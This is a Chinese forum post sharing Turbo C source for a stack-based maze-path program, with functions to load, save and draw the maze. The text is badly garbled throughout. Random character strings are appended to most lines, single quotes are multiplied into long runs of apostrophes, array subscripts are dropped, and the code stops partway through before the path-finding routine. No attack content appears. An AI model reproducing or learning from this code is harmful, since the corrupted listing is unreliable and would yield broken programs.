QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7626|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>9 S5 q: \% ?: A1 r3 I5 m+ D+ y
< align=left>程序目的:
2 [0 P# D8 i8 \& M! ]' S输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并- M: s# |1 j7 k2 l
显示在屏幕上。8 p* Y, [1 u' `- k. a0 E* N
程序实现:
+ D) T! `, D9 v& v9 U1 H可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
" t7 j5 J3 l, Q4 t  V文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
4 C8 `* Z! S- r: W入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
" E' P* i) q1 |时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
' T, w# @2 \# Q' B否则会出现错误信息。输入开始时全是墙,用上下左右键移动,. A4 {" F# T- V& X, n8 }& b
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以' f6 ~5 V% Z- ~6 h3 d- ?
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,7 \- ?) G3 x8 z. I' b  w
找到路径时,屏幕下方会出现Path found,否则出现Path not found。. i" |  P  J3 V! r# [% j$ [9 i
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。4 o+ K3 k) @- V  ~/ R3 b
不可以在VC上编译。
  y0 a0 K4 D: l' K/ d下载DOS版和windows版的迷宫游戏全部代码
6 D2 a; K8 l. K2 k' V6 A( a用户名:migong % k, N7 P4 g- f% S8 K5 I6 R
----------------------------------------------------------------------------------5 l8 x' K  v6 U2 e: ?3 V+ w5 L
/*! q+ p( a7 ]4 Y- t# H& p: L2 c
MazePath Demo BY Turbo C 2.0' p3 @' W, X2 K( |0 }7 i7 l4 P
Copyright(c) RoverUnion. All right reserved.
  }: |' j/ I2 Y5 MFilename: Maze.c
7 N3 t9 }0 F" LAuthor Dongchengyu.) g. J4 H* l5 h( m" Q
Ver 1.100 y/ I4 y6 R. _0 c7 M$ `- z
*/6 k9 `/ ^' p  ?3 d; A
#include &lt;stdio.h&gt;
* G: M* I3 \: w#include &lt;stdlib.h&gt;3 V- N3 ~  S: I
#include &lt;malloc.h&gt;& A6 V8 [8 o6 V( P  }5 H
#include &lt;conio.h&gt;
- d0 }: M5 a8 ^& ?7 Y7 @8 C#include &lt;dos.h&gt;) W/ r1 h" w, U& @) J. ^& N
#define OK 1
& H) u' D  L4 V. [#define ERROR 0% w+ s- e3 F% D; Y
#define TRUE 1$ Z0 T3 M: Y" v7 V5 `* ^
#define FALSE 07 e2 Z% a3 k) n
#define F9 0x43
* D/ ^8 v1 U; n3 ~! t! @$ g# P5 _#define Esc 0x1b
; B- ~( F7 R$ n4 ~- I#define Del 0x53" a  b( ~% B+ {! w9 {
#define Home 0x47
! g4 E. L7 L. I+ w#define End 0x4f$ e! L& _9 ^4 L4 g( s
#define Space 0x20
) T" k* A% B$ \! Q8 L# _- `#define Up 0x48" V( t+ y0 x% {: S- a# |/ J# V6 ?2 ?$ a
#define Down 0x506 D0 s7 z/ K; _' Q! P7 ~" e
#define Left 0x4b
* F7 G2 m$ G" r& z% A, ?#define Right 0x4d/ Y  n6 U/ x( ]
#define Enter 0x0d: n- K- ^& x0 E& m9 W- N
#define F2 0x3c
: i8 h; q$ i- @( H0 V% f#define F3 0x3d
# B3 _. [7 @; Y& o" U: R#define STACK_INIT_SIZE 200
6 C7 H% |4 ]2 N$ D! o#define STACKINCREMENT 10# D; ], M2 ?! I1 W
typedef int Boolean;' Q5 Q& H0 c* V! P
typedef int Status;
; G% O8 t' c' `' q6 X. ]$ u6 ttypedef struct {
- N# z  S+ W7 P# x* Hint x;$ V/ U' m* o# F4 p3 t  V
int y;
' j# O0 w. L$ x* ]( e) C} PosType;5 S% w8 V; B7 y3 f# E' S' M
typedef struct {
+ }  u2 ~( e. m! ~8 s+ R  @+ Iint ord;
3 `0 G$ U' m, |: SPosType seat;7 V6 P' `4 V/ U0 Q
int di;
# V& w" @- K" Q6 \} SElemType;' ~; r" u( ]: m) n- F% B) n/ _  E
typedef struct {
" |* s5 `# b" [$ x9 @' hint td;
: K% s  Z- y  Dint foot;  `" \+ c& [0 g# W# n) ^6 L3 p. F
int mark;/ z4 e# ]) E( K9 d2 |- p
} MazeType;
/ L$ ]4 X: i: [, Q: F' ?typedef struct {
5 M* ^; R7 `* w9 }! u8 SSElemType *base;
* {  S8 L* K& J6 qSElemType *top;5 o* y. Q/ G, r& f, J8 h
int stacksize;% Z' i! ]$ a* U+ l* Z
} Stack;
8 L1 n9 @1 F8 j, Wint Maze[20][30];; m% L4 W4 n- R3 v2 d$ b6 h% q7 z6 a& K
MazeType maze[20][30];* s9 q/ C; q7 c3 y( f' A
PosType StartPlace;- b% s6 J0 k" G! V
PosType EndPlace;
/ h! @5 u: l, L4 c7 l. Uint count;
/ q5 c) O- W: f2 T, Nint m,n;
: s5 }, {9 f" z% r  nBoolean b_start=FALSE,b_end=FALSE;& w6 ?! H! P; F' v
void CreatMaze(void);
3 d  A% V7 D$ u/ q' oStatus SaveMaze(char *filename);. H! L! {. K) H) Q
Status LoadMaze(char *filename);
, g3 R9 L& t4 ]! Zvoid Error(char *message);
6 p' T8 h7 G; `5 Y! u# TStatus InitStack(Stack *s);
, Z$ X; V& `8 B1 P1 {Status DestroyStack(Stack *s);
" d* X8 o' g% YStatus ClearStack(Stack *s);
2 h4 B$ D6 Y  O! ]) `5 w! eBoolean StackEmpty(Stack *s);
5 k: G7 R; ^' B2 J& A% q" fint StackLength(Stack *s);5 A" C* x" W6 J  T% {7 G
Status Push(Stack *s,SElemType e);
1 r7 ?# Y" Y1 x* P1 Z6 `SElemType Pop(Stack *s,SElemType e);
0 @8 r$ Y% w( m) h7 dStatus GetTop(Stack *s,SElemType *e);
  h# [, U& f* b. O* w: NStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
" s' @2 o7 W+ b4 N4 s2 U; kBoolean Pass(PosType curpos);9 w- }2 [7 ]( T6 ]. ~: a
void MarkPrint(PosType seat);
, a$ y5 U) _1 V- g# ~; q; Nvoid FootPrint(PosType curpos);
( r# e/ J6 Q6 M7 ^! M8 ZPosType NextPos(PosType seat,int di);
$ S% j) O6 x- ?- k5 jStatus MazePath(PosType start,PosType end);3 _2 F3 U* F6 }; Y
void CreatMaze(void)' v1 b$ i, H. Y1 }
/* Form the maze. */
8 ?2 Z% g" U! W, L6 b{' O/ ?2 a# I! j, G. I, P
void Error(char *message);
% }) j' c% G) f8 K) ^Status SaveMaze(char *filename);
5 t: A' J- \0 ~( U( k9 YStatus LoadMaze(char *filename);
9 Z5 a  ^# V: \& }! u1 k( n$ }int i,j;" [" J  k" D0 ?5 {
int x,y;7 e3 I* O7 R! ?% ~" P
char c;
1 d+ W% D* z, o" d# r5 zchar savename[12],loadname[12];1 `+ i6 ]( {4 R! L) t$ Y. U# d
Boolean flag=FALSE,load=FALSE;
1 G- O1 @, D- B; Xclrscr();2 K* K6 f5 ^3 Z" C4 M2 ~- ~
printf("Menu:\n\n");
# J4 ~& t' Q! O7 `! Bprintf("1.Load Mazefile*.dd)\n\n");
( o. W; E9 r9 V+ j6 |2 U  Kprintf("2.Input Maze:\n\n");
  y9 \5 K0 c( S* Bprintf("Input your choice: ");
; S% r" k& C+ t  ydo
0 e4 o4 X5 k/ k7 j  O{# s% d8 K! \5 w( N' {* J+ O
c=getch();
/ ~3 R- T  I0 M& s3 f- W. Pswitch(c)4 X( R2 C/ m/ Q; e
{
: q# b1 {) Q8 ^1 t1 Dcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
  O: o* Y( ?+ e, k4 d" o& k6 Ncase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;( c0 ~9 O! D2 L5 O5 S
case Esc: sleep(1); exit(1);
* u* t* U( s  h% {) y; e1 Rdefault: break;* }  g* s3 J/ A! E. E! ?6 ]
}" Q( E2 n+ E% o+ O
}7 \) I' K" w) t, v/ E) r
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;  Y2 c( p8 [, ~1 X
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')2 ]5 x$ b# z2 j3 ~1 c
{
" m3 B: |! w' e: Q2 \printf("\n\nLoadName: ");
) r4 m. H7 ~$ `scanf("%s",loadname);
1 U' ^4 W' V$ L! Qif(LoadMaze(loadname))
. N( u+ U4 b* w" Q{
, E# W3 @$ P% ^7 z/ Csleep(1); load=TRUE;: D  i: J' \, U; J! j7 q- U
}
- T1 y! F  }: ?else { gotoxy(1,9); printf("Load fail! "); }
+ I6 a( z7 v2 R+ z, B}
9 H& i( m  }( O5 Lif(!load)
2 F# L* b# H) y{
, I$ k6 a+ Z; w' D( F2 b; O& yprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
" s( C1 a. A) yprintf("\nInput Length :\n");' v/ X% R0 W+ v: f
scanf("%d",&amp;m);- q: q9 R6 a2 J
printf("\nInput Width :\n");9 J6 v7 {6 h% L% j  }% m( }
scanf("%d",&amp;n);/ g7 y3 ]4 K- ~' B" f
if(m&lt;4||n&lt;4) Error("Input");$ ]8 o! ?  V) I: B  Z' I
if(m&gt;30||n&gt;20) Error("Maze too large");
5 \7 \9 y6 u. v9 ]. Qfor(i=0;i&lt;30;i++)
6 a: z8 m# _( M0 s7 zfor(j=0;j&lt;20;j++)" U5 \* n! \5 M- T
Maze[j]=2;' O8 Y5 e! I- ~* g6 g# g
StartPlace.x=0;$ O7 K! |" Y" ~5 I
StartPlace.y=0;
' }. D+ p( f9 W- I7 i. NEndPlace.x=0;
4 I* {5 [( c: p% p' [4 _EndPlace.y=0;: R2 s! U+ J! h4 R, I* X/ b
clrscr();, K% |2 @4 H/ ?3 r  A: f* B& ]
printf("\n");
6 V5 O3 B" |. D' u" M: a) i3 d1 hfor(i=1;i&lt;=n;i++)2 R9 l; F9 }* B5 g) C$ Q/ i, @
{# }6 L1 v, f9 `8 j) k5 |2 u
for(j=1;j&lt;=m;j++)
- ]/ H; s3 N9 y* t" t{
9 o6 u1 j! L* |: |$ Cprintf(" #");
. J' A8 ]+ i! d( F* Z7 DMaze[i-1][j-1]=0;" s3 _8 z! H8 ?0 k# \' B* f% J% P
}6 [8 R$ |! ]& [1 v2 F% T5 W0 J/ Z
printf("\n");0 T+ n4 g  J( J' q
}
" S; U2 l# ]7 o3 k}& O/ V7 C# q! [. R8 Q, Z4 T/ h
gotoxy(65,5);
. Y5 U* [% K4 v; k6 W/ z4 M0 s6 zprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
" k" w6 T# t$ L$ l2 n5 J+ J5 j$ Zgotoxy(65,7);& u* z  {* D, M, B3 I
printf("Start:Home");9 o3 j7 L# {- B1 R# @5 X' O2 R: z
gotoxy(65,9);
( V/ B) L" m. ~4 ]' U9 a5 Uprintf("End:End");8 l5 [$ Z- G( j" b/ A
gotoxy(65,11);! t& {7 ^; p; F! g( B7 w) E
printf("Delete Wallel");* V1 ?3 Q" _' B  A. b7 @
gotoxy(65,13);
7 G; l; W" V( n% I( X; `% wprintf("Enter Wall:Enter");
4 M; A0 r( j4 S5 y8 U5 Egotoxy(65,15);
1 N; b! y) D) m) B  aprintf("Save Maze:F2");- D! P4 K! k; v. B
gotoxy(65,17);% i1 H5 d) V6 ~4 m
printf("Complete:F9");
6 U, z- H& o7 m6 C! W- P; Cgotoxy(65,19);& Z* J3 k) Q  u& K0 L5 G
printf("Exit:Esc");. w# j: B. Q& z# o) z- c
gotoxy(4,3);
/ ]' Y% h: l, v- |. F( j: Gx=4;y=3;
5 B2 Q# C- w2 e+ Q* w$ P. zdo
9 u9 l& o- i( x2 Z6 B5 m6 g{) G% F( A" O) R$ ?
c=getch();+ x) b8 W' h0 _9 d  W/ k/ ]
switch(c)2 h9 h/ q+ {+ H8 X3 @$ K( O4 V
{
' o+ v/ q! j- ?case Up: if(y&gt;3) { y--; gotoxy(x,y); }% Z1 v6 L- L6 ]9 V' ?3 A
break;0 i( f# t, G9 }& U4 w' ]' R: n
case Down: if(y&lt;n) { y++; gotoxy(x,y); }
: ?1 K2 H2 s# a5 ^* rbreak;7 Q' R4 b! U3 e* y! \6 \2 c4 Y. a$ m
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }2 l! k1 z) F2 W8 x/ f
break;$ J! H8 w' U4 a
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
  J5 w; ]2 G) fbreak;
7 |8 a' ]3 B6 x5 ~- z" W$ O4 \case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;) T! i# z' ?( I- G: E/ m/ C
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;# d8 p' ~* F) V3 w" O0 x
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
! u) a6 e* j$ f2 W. i8 H9 i; Jbreak;5 b5 @& Z. ?/ J& v  }7 {' M
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
4 R9 t! q8 H: w; E& ~if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
. p& b" H0 ~7 M: B% oputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);9 |3 H/ ~' n* I3 D; r5 o
break;2 l0 }4 P0 u* x
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)& a, y/ H; u9 k. w2 O
{' p2 h! |. U' O" `
StartPlace.x=x/2-1;
- N( j' S+ n1 _' @- J- N6 M6 hStartPlace.y=y-2;4 r5 j# e, K5 ]" O
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
2 O3 ?2 a) l3 Hgotoxy(x,y);
+ \8 Q4 w  F1 g9 d3 W6 F- V- P  Wb_start=TRUE;
( }" D  h3 m: Y- K8 [9 L}5 f. x- G$ |- e0 {
break;
2 q8 F3 ^  a. A) e1 g7 ocase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
% J" S% [) l9 |{- f1 n  p' _, @6 X
EndPlace.x=x/2-1;
8 P  N8 D: O5 a; PEndPlace.y=y-2;
- ?! C: w, X/ z  \/ s+ ^6 Oputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');$ A5 M9 H0 M' W. `
gotoxy(x,y);4 |: k) }9 T; O2 \$ h) ?6 H5 u
b_end=TRUE;
7 ^0 c: |( O; H4 w- o}
" A: z) ^( D. Z2 L; Gbreak;: M6 J. e7 [% _% |, U
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
- |9 P' R3 |! z  r* }/ Mcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
1 ?+ O' ], r: Jcase F2: gotoxy(2,22);6 w9 S) o$ j  F# k( H
printf("Savename:");
/ C9 C& R! x. _1 p6 X# |% w) Gscanf("%s",savename);+ w* R! B- w9 \+ s" J
gotoxy(2,22);1 \; D$ x3 i' s- F, M3 ^6 o6 C' u
if(SaveMaze(savename)) printf("Save OK! ");- g2 _) Z$ f# x: I& M* K
else printf("Save fail! ");
/ {/ c' c) |" ]sleep(1);1 J3 {1 I. x" o5 U
gotoxy(2,22);
2 T6 U* W' |3 Y8 W8 q% `printf(" ");/ j4 C" x/ K2 P9 \- u, J
gotoxy(x,y);
# e# @( ?$ X! |1 F2 o3 m+ Mbreak;
3 b# V# j* s6 Adefault: break;% V+ _) }6 C' N- a2 p4 x
}
$ u$ `: U! @0 S* h6 N! L( ^}
" Y2 g2 d: O/ A) @* swhile(!flag);$ e+ ?6 I& }, o: C4 {4 ^& j
for(i=0;i&lt;30;i++)
& l8 Y* c# T# ffor(j=0;j&lt;20;j++)9 i! i2 A. ?. A& r, @, `5 Y
{5 W0 l0 T- W5 j. V
maze[j].td=Maze[j];6 L2 Z6 v+ ~2 w" @" X
maze[j].mark=0;6 b) J5 Y3 O4 v$ R( Q. N7 t
maze[j].foot=0;
  B# P; F& Y; {( [; S}- P& [# @6 C$ z) r) N8 v
}1 s8 Z* H& F' w& f* ]0 a$ n: j
Status LoadMaze(char *file)
" O. B# Z5 M( E, }/* The maze has been loaded. */+ o* M  Y3 y3 H( U7 h9 u6 Q3 f, n
{
1 a9 t2 F# }' X+ bFILE *fp;; w6 N% T* b* e% C; G3 O: i' L: K; s: s
char *buffer;' ^' o; G: ]* a8 n
char ch;& Z6 \0 _: v! ]* N' Y
int i=0,j,k;$ O! E- J% s/ h/ X- e
Boolean len=FALSE,wid=FALSE;0 P4 w; F6 _, q. ~' C# n
if((fp=fopen(file,"r"))==NULL)% Y6 [" ^$ T' e4 j0 [& e: h/ B
return ERROR;
; E% P& X# D& b' ^& E" F7 pbuffer=(char *)malloc(600*sizeof(char));. a; C  I# z; H  s4 @7 e, K1 y3 N: g
ch=fgetc(fp);# H; @. f1 T$ L/ Y6 {6 o  P" B
while(ch!=EOF)6 t4 V3 v1 J7 p0 P) s
{' F% H( k6 F% g' ]4 Y! N
buffer=ch;! K: K9 }: ~8 o2 g: J/ T; ^
i++;! k* F: I# u* t$ x" o
ch=fgetc(fp);2 l1 g1 F* O0 E# w* L+ w
}4 i5 `  Z& P2 I' h0 f( Q0 b9 n6 K( M8 f
m=30;n=20;
" r: B6 |) w& B3 {. w. o: Tfor(i=0;i&lt;600;i++)
0 q7 c9 {- M# C! v/ `3 y6 I1 _. }{/ F: p% l: k6 M2 o4 Q; Q: w' B" t
j=i/30; k=i%30;
& f3 b% S/ _4 q* |if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
! _" G" o& c; B% vif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
8 e3 u' E2 ^4 b' ^& Q$ s) \+ Nswitch(buffer)& a0 f6 L' K- V' p) Y: n/ ]5 i
{' P- I7 Z8 r( j
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;  _" |* \2 g0 ^0 a* ]& h1 W
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;; Y4 i+ R/ s) v
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;1 Z# I5 g% B: Y( P
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
6 n3 b) ~2 K, a5 `  |  IStartPlace.x=k;" d+ B* r0 i: e7 f+ G" J
StartPlace.y=j;. h- @' }- n- x; ^
b_start=TRUE;
/ b. X7 p0 O/ e. J+ ~! Vbreak;, {# m, v- V- `% m5 l" Q! o
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;; }- N4 X* i3 v
EndPlace.x=k;) i! N$ L% D" B
EndPlace.y=j;
3 r# U9 X; t* Z. x& y3 ]& Yb_end=TRUE;* {/ p2 Q! R# m$ W8 H" x3 r6 W$ m9 Y8 e
break;+ p' k  \5 I$ u9 {
default : break;/ A, i: Q4 U# O' D1 E
}
0 j# _, U1 Y( ^# Z9 B) Z+ W}
# R1 E! a, t; z1 c  Kfclose(fp);
/ r  i. \/ @3 p1 H; z( A9 @" Cclrscr();. {( A" a7 f6 k
for(i=0;i&lt;30;i++)
* |  t7 ], X3 Q9 Y7 Cfor(j=0;j&lt;20;j++)% l4 k8 j5 J9 Y1 p2 s
{
2 Y/ ]' r" _6 Emaze[j].td=Maze[j];4 ?. ^! X$ _% N* o  ?+ k8 r
maze[j].foot=0;7 \+ [) a! g) m( H2 N
maze[j].mark=0;3 {" y; E1 Z- N) O6 ^. a- p+ Q8 W
if(Maze[j]==0)' F. L" j/ o9 f. R1 {6 t
{
3 W3 j: Y0 n: U0 L7 |gotoxy(2*i+2,j+2);
. C: F. O% S9 ~8 B' M2 A; Nputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');& a/ n( T  J: I5 h/ o* u5 M- W
}
6 S1 u$ r. T5 j' a9 J}
; ~, Y0 v+ c1 g5 s, e/ j, pgotoxy(2*StartPlace.x+2,StartPlace.y+2);
8 o. ?5 B$ n2 S; c2 Uputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
$ c7 p5 T, N& i$ C2 ?& h8 vgotoxy(2*EndPlace.x+2,EndPlace.y+2);
% `5 D3 y" K2 z3 J4 @1 |) [4 Xputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');2 t1 Y' m# ]/ w3 I
return OK;
# z- D( \, B0 n+ W- b}
1 ?) t- P, Y' ^Status SaveMaze(char *filename)
- _0 a. P, b5 w& }/* The maze has been saved. */% ?' k/ M2 \3 r1 t# ]& q: T6 {
{
/ x+ p: X/ Y% w, rFILE *fp;
9 I- `7 R! E' P' Pchar *buffer;
' M" s# Q6 X/ T. U: V* Dint i,j,k;
6 P9 n/ H0 o- {+ [9 F4 y# V0 k2 \fp=fopen(filename,"wb");
* C0 P; n6 c: a, ~) Wbuffer=(char *)malloc(600*sizeof(char));5 W- F# ]% K7 k& `# a" v
for(i=0;i&lt;600;i++)% a/ ]$ g! F1 H# X
{
- M# ~2 A( |$ T$ b$ r( v' M* }j=i/30; k=i%30;6 K0 j. \, K# y4 h# o+ W7 f3 i+ I
switch(Maze[j][k])
& m* u" U3 Q' P3 }( T$ }! L2 Y{4 h) `6 N* I0 v+ @8 A" J
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;9 u8 c* i' H$ g" t* Q" d/ @( h
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;, C: V! c! e# S2 _
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;: o" p- r8 T/ C* E' Z( J
default : Error("Write"); break;
1 `* ^, d6 G- ^}* t6 L0 w% B9 q; j7 j
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
6 I7 |$ [# p* Q$ [( Lif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
7 S8 J' P' K+ N2 y}
  M& T3 H, j! ~/ m6 U8 Ffwrite(buffer,600,1,fp);3 e. S  I0 A3 }+ e+ R5 C
free(buffer);
3 O* T" |+ |5 e) V4 vfclose(fp);3 T0 n3 s! G1 E2 z7 l# Y4 h; Q; ]
return OK;! Q* ]) k1 I' N% v; B6 Q! n* ]
}
4 c. T% }, V" p" |- ~/ A. T# Jvoid Error(char *message)
* l( p, d3 x5 [& Z: t1 g- }' S% s{  K5 b- q! q1 `% f( b$ D
clrscr();/ y& H- t0 ~' c. p$ D
fprintf(stderr,"Error:%s\n",message);
. g- C$ I6 G6 {  hexit(1);
8 x- K( e% d2 U8 X6 c. p; e3 c} /* Error */) q+ T( }1 j  M

8 j6 V* u% |1 s4 z$ Q( I. Z4 t0 v4 v# lStatus InitStack(Stack *s), B( O0 r6 K$ R* H2 @" m' M+ \" {
/* The stack s has been created and is initialized to be empty. */2 M& {$ x7 Q; r$ }
{
  h* v& [. U6 g2 t7 H8 }3 j* ns-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
8 h- P3 D2 f! U* h- h2 J8 Xif(!s-&gt;base) Error("Overflow");9 K- D9 S& a/ O7 |. t
s-&gt;top=s-&gt;base;) @4 Z% i: }2 E) U) p7 ]! q
s-&gt;stacksize=STACK_INIT_SIZE;
( c: {+ D5 K. [+ D" H/ u9 b: v* breturn OK;" X; Z: e5 I" ?# S
} /* InitStack */. D7 @/ e- j5 J+ E0 U2 e0 x
Status DestroyStack(Stack *s)
# _6 n5 v, Y. @) X& u( N/* The stack s has been destroyed. */. ]" X, Z" K( ?5 |  e
{
9 C! ]( u4 ~) M# |4 \s-&gt;top=NULL;5 D! ^$ T+ ~- |0 R# e
s-&gt;stacksize=0;; S' Q4 ]$ R* x! H$ a" F" n
free(s-&gt;base);
4 |2 |$ L* a8 S* ks-&gt;base=NULL;1 q  n% s; E0 k+ [
return OK;6 i  O1 E3 J8 }( Y
} /* DestroyStack */
( `$ \' w" i* D% VStatus ClearStack(Stack *s)
. r, G  ?  T2 \$ V# E" W/* The stack has been clear to be maximum. */
, ]" A7 y9 S2 X, C: }3 {6 J: A{
' ?1 g' M0 S1 X1 o& Ds-&gt;top=s-&gt;base;
4 N& Y$ b# M. `2 g! m& M2 P! ]9 H! E# hs-&gt;stacksize=STACK_INIT_SIZE;0 G  B  c% C7 Q. M- Z+ N
return OK;8 e& F+ {9 A1 S3 y& T( @
} /* ClearStack */
6 n) E2 k, d4 H3 y5 KBoolean StackEmpty(Stack *s)) s1 b- g( _8 ^6 W  J: \
/* Check if the stack s is empty. */8 U+ O4 u; I% R* A0 D6 q9 }( \, R
{# n$ g7 i# `2 n  @1 X. N
if(s-&gt;top==s-&gt;base) return TRUE;
2 n" S5 |5 a! @! g) Z5 pelse return FALSE;
5 }8 O' X) S( H, {5 _: l6 a} /* StackEmpty */4 f6 x4 k4 f: w8 j1 H! `9 F: j) O
int StackLength(Stack *s)+ @: D6 o* C; {
/* Gain the length of the stack s. */
$ `- {7 L& c5 X8 f6 s{4 A, c0 \- h6 }1 o2 z! c2 I8 [; u
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);0 y/ ^. F: k! t3 o1 m
else return 0;
7 d! S& c& T4 ?# l} /* StackLength */
- b: g9 b( r1 m) L; `/ cStatus Push(Stack *s,SElemType e)4 R$ F0 h. r- u' [! w: ]
/* The element e has been pushed into the stack s. */: v- h1 N; k9 t0 o
{
2 H8 c/ y, p2 Iif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)+ Y/ v% A7 f6 y7 q0 a5 m
{
% b7 n+ L8 {  {7 r" y. Fs-&gt;base=(SElemType *)realloc(s-&gt;base,
  }3 W1 M6 P4 N* H  q+ f* t4 k(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
, j0 D% r: C& H% P  Gif(!s-&gt;base) Error("Overflow");  R4 W3 h7 h& q% O/ \6 r' r  \, p6 @* U
s-&gt;top=s-&gt;base+s-&gt;stacksize;
6 W6 L0 b( w; u! J( L; {s-&gt;stacksize+=STACKINCREMENT;8 r7 ]/ u% {; X! S8 Q
}
3 k8 ^) g1 L! p& `) O*s-&gt;top++=e;
8 R; w6 i# O3 u6 s% v2 ireturn OK;6 O4 j! D6 E7 M0 J$ K
} /* Push */+ K% F6 k- v3 L5 ?+ g$ K, Y  V
SElemType Pop(Stack *s,SElemType e)9 s% |) C* E+ z7 V' Z
/* The element e has been removed from the stack s. */
3 q! t' U  J% b/ B; f0 c{2 l8 G) C7 N/ V
if(s-&gt;top==s-&gt;base) Error("op");
$ t: F) H, G8 y2 K+ e  o5 ^e=*--s-&gt;top;6 g& d( _/ v1 J+ D# ^5 {5 u
return e;1 d; y8 l3 v+ \& t- M
} /* Pop */& r; p( ?  j  |% A1 ^
Status GetTop(Stack *s,SElemType *e)
! ~2 n2 m' d% J1 M/* The element e has got to the top of the stack s.*/0 q' z( B. n% Y8 U8 y
{
7 ^$ {1 h8 }5 z- A& X& A& h. Rif(s-&gt;top==s-&gt;base) Error("GetTop");
$ t; V; ^! _, \# t*e=*(s-&gt;top-1);
: o3 U, b" u. Breturn OK;
  w# i/ g' @: C0 D) @} /* GetTop */# Q' b- W! W# B9 r
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */( W; m3 [/ m& u! S* B2 C
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))' w/ P: J& k' o
{5 ]& S( r+ C) E! m! ?' d: _
SElemType p;
; I# j$ ?: P* Hint result;" h7 M+ E, I$ F; j, H5 R8 w& _
if(s-&gt;top==s-&gt;base) return ERROR;
+ f+ T0 U2 E- r' }& C+ a; L( |4 qp=s-&gt;base;
! C, ~- v3 K3 dwhile(!(p==s-&gt;top))
) r# m: d3 I  o* L$ F# I$ F$ l{
- m6 i' o1 }7 M2 eresult=(*visit)(p);  G- @# X! n4 D9 [% ]5 o. y
p++;9 k7 l- h% r7 F: U9 _
}9 j, t$ s& y( `7 [
return OK;
9 {6 f4 D  B; D1 A8 X} */+ |0 m- p5 E0 M# B- y
Boolean Pass(PosType curpos)
4 E$ E3 G9 r5 ?! L; H( Q3 z/* Check if the current position can be passed. */8 `9 r$ [' K/ H# N
{  f& G1 c- N9 h3 j+ w) o
if(maze[curpos.x][curpos.y].td==1&amp;&amp;  N3 E+ ]+ T9 j1 b5 [% M1 [' A
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0): [. A7 R9 l/ i7 x' F$ h
return TRUE;" T1 H8 _% h6 ~
else return FALSE;2 {9 g  j" ~4 B8 \. |; C/ [
} /* Pass */
